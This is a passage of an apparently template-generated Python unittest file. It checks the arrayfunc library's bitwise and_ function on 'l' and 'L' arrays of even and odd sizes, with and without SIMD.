expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_even_arraysize_nosimd_simd_l(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 320
if 'even' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.l_min
maxval = arrayfunc.arraylimits.l_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('l', xdata)
self.data2 = array.array('l', ydata)
self.dataout = array.array('l', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code l.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code l.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code l.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code l.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code l.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code l.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code l.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code l.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code l.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code l.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code l.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_even_arraysize_withsimd_simd_l(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 320
if 'even' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.l_min
maxval = arrayfunc.arraylimits.l_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('l', xdata)
self.data2 = array.array('l', ydata)
self.dataout = array.array('l', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code l.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code l.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code l.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code l.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code l.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code l.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code l.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code l.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code l.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code l.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code l.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_odd_arraysize_nosimd_simd_l(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 320
if 'odd' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.l_min
maxval = arrayfunc.arraylimits.l_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('l', xdata)
self.data2 = array.array('l', ydata)
self.dataout = array.array('l', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code l.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code l.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code l.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code l.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code l.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code l.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code l.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code l.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code l.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code l.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code l.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_odd_arraysize_withsimd_simd_l(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 320
if 'odd' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.l_min
maxval = arrayfunc.arraylimits.l_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('l', xdata)
self.data2 = array.array('l', ydata)
self.dataout = array.array('l', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code l.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code l.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code l.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code l.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code l.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code l.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code l.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code l.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code l.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code l.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code l.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_even_arraysize_nosimd_simd_L(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 320
if 'even' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.L_min
maxval = arrayfunc.arraylimits.L_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('L', xdata)
self.data2 = array.array('L', ydata)
self.dataout = array.array('L', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code L.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code L.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
